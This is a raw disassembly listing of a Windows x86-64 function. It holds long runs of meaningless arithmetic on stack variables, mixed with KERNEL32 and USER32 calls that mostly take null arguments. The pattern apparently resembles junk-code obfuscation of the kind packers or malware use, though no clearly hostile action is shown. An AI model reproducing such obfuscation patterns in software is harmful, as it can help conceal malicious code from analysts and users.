mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
mov dword [rsp + 0x4318], ecx
mov rdx, qword [rsp + 0x8e20]
movsx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4318]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x140007347
mov rcx, qword [rsp + 0x8c30]
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
mov dword [rsp + 0x4228], eax
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x8cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4204], eax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
jmp 0x140007394
mov rax, qword [rsp + 0x8f90]
mov ecx, dword [rsp + 0x42c4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov edx, dword [rsp + 0x41bc]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
jge 0x140007394
mov r8d, dword [rsp + 0x424c]
mov rdx, qword [rsp + 0x8da0]
mov rax, qword [rsp + 0x8ca8]
movzx ecx, word [rax]
call fcn.1401ba1d0
nop
movsx eax, word [rsp + 0xb8c]
mov dword [rsp + 0x431c], eax
cmp dword [rsp + 0x431c], 0
je 0x1400073bf
cmp dword [rsp + 0x431c], 0xf8
je 0x1400073fa
jmp 0x140007485
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x42f0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
nop
jmp 0x140007485
mov r8d, 1
mov edx, 0xeb
lea rcx, [rsp + 0x52]
call qword [sym.imp.USER32.dll_AdjustWindowRect]
mov dword [rsp + 0x4320], eax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x42c4]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jge 0x140007485
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
sub eax, ecx
mov word [rsp + 0xb60], ax
mov r9, qword [0x1401e7410]
movzx r8d, byte [rsp + 0x55]
movzx edx, byte [rsp + 0x55]
mov rax, qword [rsp + 0x8e18]
movzx ecx, byte [rax]
call fcn.1401ba490
nop
cmp dword [rsp + 0x4254], 0xc263
ja 0x1400078bf
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x53], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0x8f88]
mov rcx, qword [rsp + 0x8c70]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x41bc]
mov rcx, qword [rsp + 0x8c80]
mov qword [rsp + 0x8fa8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fa8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1401e741c], eax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8f68], rax
mov eax, dword [rsp + 0x4244]
movzx ecx, al
mov eax, dword [rsp + 0x4228]
shr eax, cl
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb84], ax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4314], eax
movzx eax, word [rsp + 0xb78]
movzx ecx, word [rsp + 0xb60]
and eax, ecx
mov word [rsp + 0xb70], ax
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
sub eax, ecx
mov word [rsp + 0xb84], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x8f30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8dd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x4280]
mov ecx, dword [rsp + 0x424c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f00]
mov ecx, dword [rsp + 0x4228]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4244], eax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x54], al
movsx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb74], ax
movzx eax, byte [rsp + 0x53]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x51], al
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54]
sar eax, cl
mov rcx, qword [rsp + 0x8ca0]
mov byte [rcx], al
mov r9d, 2
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4234], eax
lea rdx, [rsp + 0x280d8]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb60]
or eax, ecx
mov word [rsp + 0xb78], ax
mov eax, dword [rsp + 0x4254]
add eax, 0xf4
mov dword [rsp + 0x4254], eax
mov edx, 0x188fe1
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4310], eax
lea rdx, [rsp + 0x4328]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x42f4], eax
mov rcx, qword [rsp + 0x8d10]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x8fa0]
mov ecx, dword [rsp + 0x41bc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x42c4], eax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e10]
add rcx, rax
mov rax, rcx
mov qword [0x1401e6008], rax
movzx ecx, word [rsp + 0xb80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x8c78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4244]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4228], eax
lea rcx, [rsp + 0x26818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8c70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8db8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x54]
sub eax, ecx
mov byte [rsp + 0x52], al
lea rdx, [rsp + 0x8db0]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4314], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x8eb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb68]
add eax, ecx
mov word [rsp + 0xb74], ax
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [0x1401e7418]
movzx ecx, byte [rsp + 0x55]
add eax, ecx
mov rcx, qword [rsp + 0x8f78]
mov byte [rcx], al
jmp 0x140007485
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov dword [rsp + 0x432c], eax
cmp dword [rsp + 0x432c], 0
je 0x1400078f0
cmp dword [rsp + 0x432c], 0xcada
je 0x1400079b0
jmp 0x140007a85
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [0x1401e6010]
sub eax, ecx
mov word [rsp + 0xb70], ax
movzx eax, word [rsp + 0xb60]
mov word [rsp + 0xb94], ax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb84]
add eax, ecx
movsx ecx, word [rsp + 0xb64]
movsx edx, word [rsp + 0xb74]
add ecx, edx
cmp eax, ecx
jge 0x1400079ab
mov rax, qword [rsp + 0x8cd0]
mov rcx, qword [rsp + 0x8e90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8cc0]
mov rcx, qword [rsp + 0x8db8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401e7410], rax
mov rax, qword [rsp + 0x8fa0]
mov r8d, dword [rax]
mov rdx, qword [rsp + 0x8f68]
mov rax, qword [rsp + 0x8e20]
movzx ecx, word [rax]
call fcn.1401ba1d0
nop
jmp 0x140007a85
lea rdx, [rsp + 0x8f48]
mov rcx, qword [rsp + 0x8e08]
call qword [sym.imp.USER32.dll_GetWindowInfo]
mov dword [rsp + 0x4330], eax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x8e10]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8cc8]
mov rdx, qword [rsp + 0x8c18]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
je 0x140007a6f
mov rax, qword [rsp + 0x8fa0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e98]
mov qword [rsp + 0x8fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8fb0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x42c4], eax
mov rax, qword [rsp + 0x8f68]
movzx ecx, al
mov rax, qword [rsp + 0x8e10]
shr rax, cl
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
mov r8d, dword [0x1401e741c]
mov rax, qword [rsp + 0x8cc8]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0xb84]
call fcn.1401ba1d0
nop
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
and eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x41bc]
mov dword [rsp + 0x4334], eax
cmp dword [rsp + 0x4334], 0x3cbfc4d4
je 0x140007aa5
jmp 0x1401b8900
mov eax, dword [0x1401e741c]
mov ecx, dword [rsp + 0x42c4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
mov byte [rsp + 0x4338], al
cmp byte [rsp + 0x4338], 0
je 0x140007b2d
cmp byte [rsp + 0x4338], 0xf8
je 0x140007aeb
jmp 0x1401b88ce
mov rax, qword [rsp + 0x8dd8]
mov rcx, qword [rsp + 0x8c98]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c78]
mov dword [rcx], eax
jmp 0x1401b88ce
movzx eax, word [rsp + 0xb60]
movzx ecx, word [rsp + 0xb94]
add eax, ecx
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xb78]
or ecx, edx
cmp eax, ecx
jge 0x140007ba4
mov cl, 0x6f
call qword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov dword [rsp + 0x426c], eax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [0x1401e6008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e10], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
sar eax, cl
mov rcx, qword [rsp + 0x8c40]
mov word [rcx], ax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x42c4]
shl eax, cl
mov rcx, qword [rsp + 0x8fa0]
mov rdx, qword [rsp + 0x8e98]
mov edx, dword [rdx]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jge 0x1401b8892
mov rax, qword [rsp + 0x8cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x56], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb78]
imul eax, ecx
mov word [rsp + 0xb60], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb74]
sub eax, ecx
mov word [rsp + 0xb68], ax
lea rax, [rsp + 0x52]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov dword [rsp + 0x29fe0], 0x94
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8d90], rax
lea rax, [rsp + 0x42d4]
mov qword [rsp + 0x8fc0], rax
mov eax, dword [rsp + 0x4270]
mov ecx, dword [rsp + 0x41d0]
add ecx, eax
mov eax, ecx
mov dword [0x1401e6014], eax
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x424c], eax
mov rax, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0x8e10]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c20]
mov qword [rcx], rax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x8f78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x53], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x433c], eax
movzx eax, word [rsp + 0xb64]
mov word [rsp + 0xb98], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0x8fd0], rax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8fb8]
movzx eax, byte [rax]
mov byte [0x1401e7419], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov eax, dword [rsp + 0x4204]
mov dword [rsp + 0x4340], eax
mov rax, qword [rsp + 0x8c18]
mov rcx, qword [rsp + 0x8da0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f68], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x8fd8], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov dword [rsp + 0x4344], eax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x53]
xor eax, ecx
mov byte [rsp + 0x55], al
lea rax, [rsp + 0xb68]
mov qword [rsp + 0x8fe0], rax
movzx eax, word [rsp + 0xb60]
mov rcx, qword [rsp + 0x8c40]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb94], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x8cb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x54]
shl eax, cl
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x56]
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x8cd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fc0]
mov qword [rsp + 0x8ff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ff0]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1401e6018], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x8c70]
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x8c20]
mov rcx, qword [rsp + 0x8cc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8da0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov edx, 0x4f4f1c
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4234], eax
mov eax, dword [rsp + 0x42c4]
mov ecx, dword [rsp + 0x4344]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4280], eax
mov eax, dword [rsp + 0x41b8]
mov dword [rsp + 0x4348], eax
movsx eax, word [rsp + 0xb74]
mov rcx, qword [rsp + 0x8e78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov dword [rsp + 0x2a080], 0x94
lea rax, [rsp + 0xb60]
mov qword [rsp + 0x9000], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x9008], rax
lea rdx, [rsp + 0x4258]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x41b4], eax
mov rax, qword [rsp + 0x8f20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e10]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e6020], rax
movsx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x8e20]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb98], ax
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x56]
and eax, ecx
mov byte [rsp + 0x50], al
lea rax, [rsp + 0x8c70]
mov qword [rsp + 0x9010], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x434c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x4280]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fa0]
mov dword [rcx], eax
lea rax, [rsp + 0x4270]
mov qword [rsp + 0x9018], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
mov rcx, qword [rsp + 0x8f80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4350], eax
mov rax, qword [0x1401e6008]
mov rcx, qword [rsp + 0x8da0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f68], rax
lea rax, [rsp + 0xb78]
mov qword [rsp + 0x9020], rax
mov rcx, qword [rsp + 0x8e30]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4274], eax
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x56]
add eax, ecx
mov rcx, qword [rsp + 0x8fe8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
mov qword [0x1401e7420], rax
mov r9d, 1
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8da8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4354], eax
mov rax, qword [rsp + 0x8fe0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb98]
xor eax, ecx
mov word [rsp + 0xb64], ax
lea rax, [rsp + 0x55]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9000]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xb70], ax
lea rax, [rsp + 0x4214]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x8db8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cc0]
mov qword [rsp + 0x9038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9038]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0x8f90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fa0]
mov qword [rsp + 0x9040], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9040]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8e10]
mov qword [rsp + 0x9048], rax
movsx eax, word [rsp + 0xb68]
mov rcx, qword [rsp + 0x8ee8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
lea rcx, str.tandem_Upswing
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xb90], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8d30], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xbd73
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4358], eax
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4324], eax
mov edx, 0xf5ac3
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x435c], eax
movzx eax, byte [rsp + 0x55]
mov byte [rsp + 0x57], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov rax, qword [rsp + 0x8c40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb94], ax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
mov rax, qword [rsp + 0x8c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cb0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x57]
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x8fa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4280]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x41bc], eax
mov rax, qword [rsp + 0x8f88]
mov rax, qword [rax]
mov qword [rsp + 0x9050], rax
mov r9d, 2
lea r8, [rsp + 0x8c48]
mov rdx, qword [rsp + 0x8df0]
mov rcx, qword [rsp + 0x8d18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4360], eax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8c18], rax
mov rax, qword [rsp + 0x8e90]
mov ecx, dword [rsp + 0x4348]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42d4], eax
mov rax, qword [rsp + 0x8ee8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb64]
sub eax, ecx
mov word [0x1401e6028], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x9058], rax
lea rax, [rsp + 0xb94]
mov qword [rsp + 0x9060], rax
mov rax, qword [rsp + 0x9028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x59], al
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0x55]
sub eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
lea rax, [rsp + 0x4280]
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x8cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8db8]
mov qword [rsp + 0x9070], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9070]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x8db8]
mov qword [rcx], rax
movzx ecx, word [rsp + 0xb6c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb7c], ax
mov rax, qword [rsp + 0x8cc8]
mov rcx, qword [rsp + 0x8c18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9048], rax
mov eax, dword [rsp + 0x41d0]
mov dword [rsp + 0x4364], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [rsp + 0xb64]
mov qword [0x1401e7428], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x8fb8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8fb8]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
lea rax, [0x1401e6010]
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x8e78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb98]
xor eax, ecx
mov rcx, qword [rsp + 0x8eb8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb70]
movzx ecx, word [rsp + 0xb94]
add eax, ecx
mov word [rsp + 0xb78], ax
mov r9d, 0xb4e
xor r8d, r8d
lea rdx, [rsp + 0x9058]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4368], eax
lea rax, [rsp + 0x423c]
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0x8dd8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ff8], rax
lea rdx, [rsp + 0x28148]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4360], eax
lea rax, [rsp + 0x8f68]
mov qword [rsp + 0x9090], rax
mov eax, dword [rsp + 0x4364]
mov ecx, dword [0x1401e6018]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8cd0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e6012], al
lea rcx, [rsp + 0x25458]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsp + 0x9058]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, word [rsp + 0xb8c]
movsx ecx, word [0x1401e6028]
add eax, ecx
mov rcx, qword [rsp + 0x8e20]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x5a], al
movsx eax, byte [rsp + 0x52]
movsx ecx, byte [rsp + 0x59]
add eax, ecx
mov byte [rsp + 0x56], al
movzx eax, word [rsp + 0xb70]
mov word [rsp + 0xb9c], ax
